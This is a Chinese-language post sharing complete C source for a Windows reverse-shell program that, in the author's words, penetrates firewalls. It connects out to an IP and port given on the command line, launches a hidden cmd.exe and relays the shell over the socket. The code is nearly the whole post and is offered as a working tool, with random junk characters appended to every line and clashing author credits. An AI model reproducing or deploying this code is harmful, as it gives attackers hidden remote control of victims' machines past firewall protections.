这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 I5RV:e5b
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/* ============================== ~ou1{NS
Rebound port in Windows NT kOfq6[JC
By wind,2006/7 w k1O*_76
===============================*/ !eb}jL
#include JTT"t@__
#include nya-Io.
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#pragma comment(lib,"wsock32.lib") U?/UW;k[
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void OutputShell(); &P8 Run
SOCKET sClient; vCC}IDd
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; rEI]{?eoF
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void main(int argc,char **argv) yX:A?U
{ .Z=4,m>
WSADATA stWsaData; cY/!z
int nRet; W}+f}/&l
SOCKADDR_IN stSaiClient,stSaiServer; =GO/r;4
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if(argc != 3) k<b`v&G
{ p#vZYwe=L
printf("Useage:\n\rRebound DestIP DestPort\n"); F8 *e
return; _ED,DM
} J&,N1B
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WSAStartup(MAKEWORD(2,2),&stWsaData); e|wH5(V
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Dd+ f,$
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stSaiClient.sin_family = AF_INET; wg6![Uh
stSaiClient.sin_port = htons(0); .0x+b-x
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); urGk_.f
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) _!FM^N}|
{ w)bLdQ
printf("Bind Socket Failed!\n"); {"33 .^=
return; X1* 6qd+E
} nJ/ wtw
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stSaiServer.sin_family = AF_INET; N*t91 X
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Sz0M8fYT]
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); e2#"o{+@
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) XQEGMaZ
{ |xI\)VE^
printf("Connect Error!"); t3 AZS0
return; VdpkE0
} GD1=Fb"&)
OutputShell(); ]a%
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} T!6H5>zA
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void OutputShell() D
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{ C]aa^_Ldd-
char szBuff[1024]; %hK?\Pg3=E
SECURITY_ATTRIBUTES stSecurityAttributes; NN5V|#
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OSVERSIONINFO stOsversionInfo; 4XL*e+UfJ
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; yjvH)t/!.
STARTUPINFO stStartupInfo; Hfer\+RX
char *szShell; $[VeZ-
PROCESS_INFORMATION stProcessInformation; DM6oMT
unsigned long lBytesRead; l*[ .
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 9IL#\:d1
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); iKB8V<[\T
stSecurityAttributes.lpSecurityDescriptor = 0; yhr\eiJ@6
stSecurityAttributes.bInheritHandle = TRUE; 7 q<UJIf
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ]Jj\**
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 9H*$3
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); s~$kzEtjjU
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7BCCQsz<
stStartupInfo.wShowWindow = SW_HIDE; /'1UfjW>
stStartupInfo.hStdInput = hReadPipe; qF6YH
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; b2
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GetVersionEx(&stOsversionInfo); Gy[;yLnX
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switch(stOsversionInfo.dwPlatformId) p$}iBk0B(z
{ -@ #b<"1
case 1: x8p#WB
szShell = "command.com"; 9vL`|`Vau
break;
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default: p#.B Fy
szShell = "cmd.exe"; /_rAy
break; i;^
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} LBtVK, ?
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 9\*xK%T+
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send(sClient,szMsg,77,0); =mCUuY#
while(1) \s;]Tg
{ y]=v+Q*+
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); P0$ q{ j
if(lBytesRead) u;DF$
{ Y',s|M1})\
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); UuxWP\~2
send(sClient,szBuff,lBytesRead,0); 9;Ezm<VQ
} 'DF3|A],
else !-r@_tn|
{ s)yEVh
lBytesRead=recv(sClient,szBuff,1024,0); +3vK=d_Va
if(lBytesRead<=0) break; :c,\8n
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Z~g~,q
} =HP_IG_
} HKP\`KBCj
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return; W<;i~W
}